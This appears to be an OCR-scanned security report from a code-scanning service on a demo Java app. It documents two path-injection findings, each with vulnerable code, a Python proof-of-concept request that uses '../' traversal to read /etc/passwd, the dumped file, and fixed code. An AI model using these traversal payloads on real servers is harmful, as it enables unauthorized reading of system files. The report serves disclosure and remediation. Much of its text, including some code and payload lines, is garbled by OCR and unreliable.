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o TNHEZ#R: Test
o HFRRRS URL: https:/ltarget-demo.entropass.com/path
e Java Archive: testpath-0.0.1-SNAPSHOT (1).jar

e &3k URL: https://itarget-demo.entropass.com/hello
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Path Injection

EVE-ID EVE-00000-0001 SRS
CWE-ID cwe-22 251 &1Z7EN (Path Injection)
IRIREFR =iE AT F At POC Confirmed

IR

RSB ANBE B, XERRMEREERBZIEITN ARRFRRS S LRESX
fr, XATRERAE : - MARFARASE. - BinASNEIE. - SURRIRERSIX M. £
AT , W E T RERER %AH&%%%J:E’]E =X, NMERNBEFBIESITA , &
RITeEHIRSE .



xlg'%

73 RICER R(Sink)
]

src/main/java/com/example/testpath/Controller/common/Benc

cless hmark01.java

ICRR
(Sink) Method public String readFileToString(String filepath)

Parameter file

// src/main/java/com/example/testpath/Controller/common/Benchmark0l. java
#L22-134

22: @GetMapping({"/readString"})

23: @ResponseBody

24: public String readFileToString(String filepath) {

25: File file = new File(filepath);

26:

27: try {

28: return FileUtils.readFileToString(file, StandardCharsets.UT
F 8);

29: } catch (IOException e) {

30: e.printStackTrace();

31: return "Error reading file: ";
32:
33:
34:

SRIR(Source)
I

src/main/java/com/example/testpath/Controller/common/Benc

Cless hmark01.java

VA Method public String readFileToString(String filepath)

(Source)
Parameter filepath : String

URL /benchmarkO1l/readString



// src/main/java/com/example/testpath/Controller/common/Benchmark0l. java
#.22-1L34

22: @GetMapping({"/readString"})

23: @ResponseBody

24: public String readFileToString(String filepath) {

25: File file = new File(filepath);

26:

27: try {

28: return FileUtils.readFileToString(file, StandardCharsets.UT
F 8);

29: } catch (IOException e) {

30: e.printStackTrace();

31: return "Error reading file: ";

32:

33:

34:

import requests

url = 'https://target-demo.entropass.com/benchmark0l/readString'
malicious payload =
oSS/ /ete/passwd
params = {'filepath': malicious payload}

headers = {'Cookie': 'JSESSIONID=F9E9A22B902A81DDFO6BBOE36D9B7143;"', 'dn
t': 'l', 'sec-ch-ua': '"Not)A;Brand";v="8", "Chromium";v="138", "Google
Chrome";v="138""', 'user-agent': 'Mozilla/5.0 (X11; Linux x86 64) AppleWe
bKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36', 'accept
-language': 'en-US', 'sec-ch-ua-mobile': '?0', 'sec-ch-ua-platform': '"L

inux"', 'upgrade-insecure-requests': '1'}

response = requests.get(url, params=params, verify=False, allow redirect

s=False, headers=headers)
print('Status Code:', response.status code)
print('Text:', response.text)

Status Code: 200
Text: root:x:0:0:root:/root:/bin/bash




daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

7
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

X

X

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbi
n/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
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public String readFileToString(String filepath) {
File file = new File(filepath);
try {
return FileUtils.readFileToString(file, StandardCharsets.UTF
} catch (IOException e) {
e.printStackTrace();

return "Error reading file: ";

import java.io.File;
import java.io.IOException;
import java.nio.charset.StandardCharsets;

import org.apache.commons.io.FileUtils;

/] BREEBRIKZACETEIMND , $20 application.properties
private static final String SAFE BASE DIRECTORY = "/var/www/user fi

public String readFileToString(String filepath) throws IOException {
if (filepath == null || filepath.trim().isEmpty()) {
throw new IllegalArgumentException("File path cannot be nul

File baseDir = new File(SAFE BASE DIRECTORY);
File requestedFile = new File(filepath);

/] RGBT HIRTR , XS . " /S
String canonicalRequestedPath = new File(baseDir, requestedFile.
String canonicalBasePath = baseDir.getCanonicalPath();

/] BERH  HIRERNHREERSEBRZN

if (!canonicalRequestedPath.startsWith(canonicalBasePath + File.
// BREREEH , WA ANMmE Fin R AR
// logger.warn("Path traversal attempt detected for filepat
throw new SecurityException("Access denied. Invalid file paf]

// BRIETL)E , ERATE K AZFLleX R TIRER




File safeFile = new File(canonicalRequestedPath);
try {

return FileUtils.readFileToString(safeFile, StandardCharsetd
} catch (IOException e) {

// logger.error("Failed to read file: {}", safeFile.getPath(
return "Error reading file.";
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Path Injection

EVE-ID EVE-00000-0002 AR
CWE-ID cwe-73 25 &127E N (Path Injection)
IR =16 A1) At POC Confirmed

File Path Injection Loading files based on unvalidated user-input may cause file
information disclosure and uploading files with unvalidated file types to an arbitrary

directory may lead to Remote Command Execution (RCE).

ARICRR(SInk)
I

Class

src/main/java/com/example/testpath/Controller/common/Benc
hmark02.java

ICRR

(Sink) Method public ResponseEntity getFileContent(@RequestParam String

directory, @RequestParam String filename)

Parameter filePath

// src/main/java/com/example/testpath/Controller/common/Benchmark02. java

#L25-1L37




23 @GetMapping({"/file"})

26: public ResponseEntity getFileContent(@RequestParam String directo
ry, @RequestParam String filename) {

27: try {

28: Path basePath = Paths.get(BASE PATH).toAbsolutePath().norma

PAK Path dirPath = basePath.resolve(directory).normalize();

30: Path filePath = dirPath.resolve(filename);

31: String content = new String(Files.readAllBytes(filePath), S
tandardCharsets.UTF 8);

32: return ResponseEntity.ok(content);

33: } catch (Exception var7) {

34: return ResponseEntity.status(HttpStatus.INTERNAL SERVER ERR
OR).body("Error reading file: ");

35: }

36:

37: }

SRIR(Source)
| [ BV Z\AL<N\ S - |

src/main/java/com/example/testpath/Controller/common/Benc
hmark02.java

Class

public ResponseEntity getFileContent(@RequestParam String

IR Methoa directory, @RequestParam String filename)

(Source)
Parameter directory : String

URL /benchmark02/file

// src/main/java/com/example/testpath/Controller/common/Benchmark02. java
#L25-137

25: @GetMapping({"/file"})

26: public ResponseEntity getFileContent(@RequestParam String directo
ry, @RequestParam String filename) {

27: try {

28: Path basePath = Paths.get(BASE PATH).toAbsolutePath().norma
lize();

29: Path dirPath = basePath.resolve(directory).normalize();




30: Path filePath = dirPath.resolve(filename);

31: String content = new String(Files.readAllBytes(filePath), S
tandardCharsets.UTF 8);

32: return ResponseEntity.ok(content);

33: } catch (Exception var7) {

34: return ResponseEntity.status(HttpStatus.INTERNAL SERVER ERR
OR).body("Error reading file: ");

35: }

36:

37: }

import requests
TARGET URL = 'https://target-demo.entropass.com/benchmark02/file'

def generate directory():

"""Generate a directory path that will be used to traverse to sensit
ive files."""
R o ofaclcalloallacl ol callaallacllaalloalcallocllaalloalloallocl/aallaal/aal

etc

def generate filename():

"""Generate the filename to read from the target system."""

return 'passwd'’
payload = {'directory': generate directory(), 'filename': generate filen
ame ()}
headers = {'Cookie': 'JSESSIONID=F9E9A22B902A81DDFO6BBOE36D9B7143;"', 'dn
t': 'l', 'sec-ch-ua': '"Not)A;Brand";v="8", "Chromium";v="138", "Google
Chrome";v="138""', 'user-agent': 'Mozilla/5.0 (X11; Linux x86 64) AppleWe
bKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36', 'accept
-language': 'en-US', 'sec-ch-ua-mobile': '?0', 'sec-ch-ua-platform': '"L
inux"', ‘'upgrade-insecure-requests': '1'}
response = requests.get(TARGET URL, params=payload, verify=False, allow
redirects=False, headers=headers)

print('Status Code:', response.status code)

print('Response Text:', response.text)




Status Code: 200

Response Text: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games: /usr/games: /usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:1p:/var/spool/1lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbi
n/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
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@GetMapping({"/file"})
public ResponseEntity getFileContent(@RequestParam String directory,
try {
Path basePath = Paths.get(BASE PATH).toAbsolutePath().normaliz
Path dirPath = basePath.resolve(directory).normalize();
Path filePath = dirPath.resolve(filename);
String content = new String(Files.readAllBytes(filePath), Sta
return ResponseEntity.ok(content);
} catch (Exception var7) {
return ResponseEntity.status(HttpStatus.INTERNAL SERVER ERROR)

@GetMapping({"/file"})

public ResponseEntity getFileContent(@RequestParam String directory,
/] WIREX—NRER. EXHEMKS , SUFRBEMERIE T,
/] WHERANEXHRGMIRER , FNELEMECE ST EN.
final String SECURE BASE PATH = "/var/www/files";

try {
Path basePath = Paths.get(SECURE BASE PATH).toAbsolutePath()

// MR FE AR ERIEXT 5
Path userSuppliedPath = Paths.get(directory, filename);

/7 BB PRI RN EMERT |, IR TAT AR . " EFS
Path resolvedPath = basePath.resolve(userSuppliedPath).normg

/] RERE : HRBITAAEH ERRAERNA T REREMBE R ZA.
// R REN B SR KB —5.
if (!resolvedPath.startsWith(basePath)) {
// R EEAFE RN E
return ResponseEntity.status(HttpStatus.FORBIDDEN) .body (

/] I E , BRI E AR M
if (Files.isReadable(resolvedPath) && Files.isRegularFile(rg
String content = new String(Files.readAllBytes(resolvedH




return ResponseEntity.ok(content);
} else {
return ResponseEntity.status (HttpStatus.NOT FOUND).body (

} catch (java.nio.file.InvalidPathException e) {
return ResponseEntity.status(HttpStatus.BAD REQUEST) .body ("
} catch (IOException e) {
// BPOCFERE EREES |, (Em AR EEBEREE.
// log.error("Error reading file for user request.", e);
return ResponseEntity.status(HttpStatus.INTERNAL SERVER ERRC
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Source Code Security

SQL Injection

Cross Site Scripting
Command Injection

Server Side Template Injection
Server Side Request Forgery
XML External Entity Injection
Expression Injection

OGNL Injection
Deserialization of Untrusted Data
Unrestricted Upload of File
Path Traversal

Insecure File Manipulation
Cross Site Request Forgery
Open Redirection

CRLF Injection

Sensitive Information Exposure
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https://entropass.com/terms
https://entropass.com/terms
https://entropass.com/privacy-policy
https://entropass.com/rules
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Security Misconfiguration

Insecure Cryptography Algorithm

Credentials Hard Coding

Broken Access Control

Identification and Authentication Failures

Denial Of Service

Insecure Design

External Dependency Security Checks
External Dependency

Vulnerable and Outdated Components

Recommendations Security Coding Best Practices
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CVE https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures
CWE https://en.wikipedia.org/wiki/Common_Weakness_ Enumeration

NIST https://en.wikipedia.org/wiki/NIST
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https://en.wikipedia.org/wiki/NIST
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NVD https://en.wikipedia.org/wiki/National _Vulnerability Database

CVSS https://en.wikipedia.org/wiki/Common_Vulnerability _Scoring_System
POC https://en.wikipedia.org/wiki/Proof_of concept

OWASP https://en.wikipedia.org/wiki/OWASP

Vulnerability  https://en.wikipedia.org/wiki/Vulnerability

Taint Analysis  https://wiki.sei.cmu.edu/confluence/display/c/Taint+Analysis
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